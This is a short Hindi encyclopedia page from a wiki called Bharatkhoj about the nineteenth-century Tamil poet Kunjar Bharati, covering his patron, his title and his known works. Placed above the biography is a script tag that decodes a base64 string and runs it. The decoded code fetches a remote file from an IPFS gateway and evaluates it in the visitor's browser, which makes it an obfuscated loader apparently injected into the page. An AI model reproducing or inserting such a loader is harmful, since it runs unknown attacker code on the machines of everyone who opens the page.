कुंजर भारती

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १५:२०, २९ सितम्बर २०११ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कुंजर भारती (1810-1896 ई.) तमिल के विख्यात कवि।
  • ये सुब्रह्मण्यम भारती के पुत्र थे। शिवगंगा के राजा गौरीवल्लभ के सभास्थान विद्वान थे।
  • उन्होंने इन्हें कवि कुंजर की उपाधि प्रदान की थी।
  • इनकी ख्याति मधुर पदावली और सुंदर कल्पना के लिए है।
  • रूकंदपुराण कीर्तन, पेरिंब कीर्तनैगल और अझगर कुरवंजी इनकी विख्यात रचनाएँ हैं।

टीका टिप्पणी और संदर्भ